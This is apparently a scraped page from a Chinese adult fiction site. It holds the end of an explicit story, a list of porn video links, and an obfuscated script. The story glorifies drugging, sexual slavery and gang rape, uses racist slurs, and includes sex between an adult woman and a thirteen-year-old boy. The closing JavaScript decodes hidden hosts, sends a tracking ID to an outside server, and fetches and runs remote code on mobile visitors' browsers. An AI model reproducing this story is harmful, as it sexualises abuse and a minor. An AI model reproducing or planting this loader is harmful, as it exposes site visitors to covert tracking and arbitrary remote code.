摇头,语调中充满了轻衊。「我喜欢你现在的样子。你现在痛心疾首,心碎欲绝,
你在经过三年禁欲之后,变成了不能正常勃起的废物,而你的妻子却变成了彻头
彻尾的蕩妇。我喜欢这样,真的非常喜欢。」

「至于这三年我们是怎样对待你的妻子的,」她顿了顿,继续用无所谓的语
调说道:「概括的说,她和你的待遇恰恰相反。这三年里你的慾望每时每刻都被
限制,不许勃起,不许高潮,没有一次射精。而你的妻子,却整日处于肉慾和高
潮之中。」

「和你一样,我每天都会给你的妻子服用催情药物,当然还会注射大剂量的
烈性催乳剂,你看现在她的乳房多么肥硕,乳头勃起时几乎有一寸多长,稍微一
碰就会乳汁四溢,真像一只奶羊。」说着,主人脸上露出放蕩的笑容。

「不得不承认,刚开始饲养你的妻子的时候,她还是很端庄的。她很能忍耐,
一般的性挑逗似乎对她没什么作用,那时她确实具有顽强的意志。」主人点燃一
根香烟,吐了一口烟圈,继续娓娓道来:「因此我们只好给她注射大剂量的春药,
在这之后,情况很快就发生了变化。」

「应该说,最根本的原因在于,你的妻子毕竟还是一个女人。任何一个正常
女人服用春药之后,她的乳房都会感到发热,奶头周围和阴户将产生无法忍受的
瘙痒,等到药力发挥作用的时候,粘液将不由自主地流出来,使她逐渐达到亢奋
状态,尤其是到后来奶水将大量分泌,使她的乳腺极度膨胀,从而使她产生无法
抑制的性慾,陷入不能自持的亢奋状态。」

「大概就是在她被关起来半年左右的时候,在经历了长期的性饥渴之后,我
第一次让男人和你的妻子交媾。当时场面非常刺激,你的妻子成了我所见过的最
淫贱的蕩妇,那一晚她搞垮了一个又一个男人,我不得不额外找了五个男人来操
她。从此以后,她那湿滑黏腻的阴户里,就总有大小粗细不同的肉棒进进出出。
从那时到现在,整整三年的时间里,几乎每天都会有各式各样的男人来操她。有
时轮姦会持续很长时间,我们不得不用吸乳器从她的乳房里抽些奶水给那些男人
喝,以保证他们有足够的体力操你的妻子。」

「在她的排卵期,我们会给她特殊的照顾。这个时候我会找些身材健壮,阳
具硕大的黑人来轮姦她。黑人的性能力确实很强,他们就像不知疲倦的永动机一
样,每个人一操就是几个小时,你的妻子在欲仙欲死的同时,也被成功的注入了
富有活力的精子。和不同肤色的男人做爱,并产下他们的孩子,这真是一件十分
有趣的事情。三年来,你的妻子已经产下四个这样的孩子,这些皮肤黝黑的宝宝
非常可爱,他们身上的肤色将是你永恒的耻辱,它会时刻提醒你,你的妻子充满
淫欲,她不得不被别的男人操以获得满足,并且因此生下了孩子,她是个不折不
扣的淫妇。」

「你看,」主人指着妻子隆起的腹部,笑着对我说:「她现在又有了身孕。
不过这次并不是那些黑鬼乾的,七个月前我们找了一个十三岁的街头小流氓,让
他来操你的妻子。我们想看看这么年幼的男生是否也能让你的妻子受孕,现在看
来,他真的做到了。」

「现在,你的妻子已经变成了人尽可夫的母狗。任何一个男人,只要他愿意,
就可以将自己的阳具插入她的阴户,并在里面射出精液。他想乾多久都可以,如
果时间太长,还可以饮用她的乳汁补充体力。你的妻子已经不再拥有正常人的思
维,她的脑子里只有性慾,除了不停的求别人操她,她已经很久没有完整的说过
一句话了。由于长期过量服用各类春药,她的阴户总是淌满了粘滑的淫液,她的
乳房不停分泌着浓稠的乳汁,现在她每一分钟都处于极度性饥渴的痛苦之中,一
两个小时的性爱根本无法让她达到高潮,只有通宵达旦、一刻不停的抽插,才能
让她的痛苦略微舒缓一些。」

「轮姦,怀孕,产子,再轮姦,再怀孕,再产子,就这样周而复始。」主人
盯着我的眼睛,一字一句的说:「这就是你的妻子过去、现在以及未来的生活。」

主人的这番话让我头晕目眩,胸口火烧火燎般疼痛,满腔的悲愤让我无法自
持,我大喊一声,正想爬起来冲向眼前这个邪恶的女人,忽然感觉脑后被重重的
砸了一下,接着就什么也不知道了。

四、眠

当我醒来的时候,发现我还在这间地下室里,白灼的灯光刺得我双眼疼痛,
我被紧紧的捆在椅子上,动弹不得。眼前有几个男人围着一个赤裸的女人,其中
一个男人正在和那个女人交媾。女人正在忘情的呻吟,她的脸上纹着两根硕大的
阴茎,身上布满了各种各样淫蕩的春宫图,长长的乳头上罩着两根透明的细管,
一股股乳汁顺着细管被吸了上去。我忽然发现,女人平坦的腹部上爬满了条条沟
壑,不知是伤痕还是什么,总之看上去狰狞恐怖。

「你终于醒了。」一个妖冶性感的女人望着我,语气温柔而娇弱,脸上满是
欣慰的表情。她走了过来,替我解开捆在身上的绳索,轻轻的摸了摸我的脑袋,
忽然换了一副冰冷的语气,对我说:「爬过去,蠢货。」

我不知为什么要听这个女人的话,只觉得四肢下意识的爬向那个被轮姦的女
人,大脑却一片空白。

「把这些喂给那个女人。」性感女人将一个食盆递给我,里面装了满满一盆
乳白色糊状的东西,散发着怪怪的味道。

我茫然的接过小盆,然后用汤勺将盆里的东西喂向那个女人,她的身体随着
男人阳具的抽动一晃一晃,她一边亢奋的喘息着,一边迫不及待的张嘴吞咽那些
看起来有些恶心的东西,似乎在品尝天下最美味的佳肴。

「嗯,很不错。现在把那盆东西放在地上,在里面撒尿。」性感女人又一次
命令我。

我顺从的蹲下身去,金黄色的尿液流进盆中,叮当作响。不经意间,我发现
盆里放着一张照片,照片里的女人笑靥如花,似曾相识。我试图回想起什么,但
什么都想不起来了。我又低头看了看那张照片,透过琥珀色的尿液,照片里的一
切,都显得泛黄而古旧,仿佛是亿万年前的事了。

「看来你确实把一切都忘记了。」性感女人脸上一副志得意满的表情,「你
刚刚给你的妻子服用了三倍剂量的春药,又在她的照片上留下了自己的尿液。看
来你确实把一切都忘记了。」

说着,她俯下身来,用她那鲜艳的红唇吻了下我的额头,轻声说:「你们夫
妻俩又可以在一起恩爱的生活了,祝你们幸福。」

【全文完】
猜你喜欢下面这些


  • 麻豆传媒-致富女人的性玩具-沈娜娜


    麻豆传媒-致富女人的性玩具-沈娜娜
    705人观看

    麻豆传媒-致富女人的性玩具-沈娜娜

  • 没有压力没有评判


    没有压力没有评判
    839人观看

    没有压力没有评判

  • 完美世界】柳神八神摇


    完美世界】柳神八神摇
    933人观看

    完美世界】柳神八神摇

  • 用力抽插老婆


    用力抽插老婆
    97人观看

    用力抽插老婆

  • 欠债被迫拍下淫片


    欠债被迫拍下淫片
    475人观看

    欠债被迫拍下淫片

  • 【无码】.半泽直美~痴女10倍奉还!!~前编波多野结衣


    【无码】.半泽直美~痴女10倍奉还!!~前编波多野结衣
    814人观看

    【无码】.半泽直美~痴女10倍奉还!!~前编波多野结衣

  • 【原档首发】查理在家做瑜伽被隔壁的大黑吊看到


    【原档首发】查理在家做瑜伽被隔壁的大黑吊看到
    200人观看

    【原档首发】查理在家做瑜伽被隔壁的大黑吊看到

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};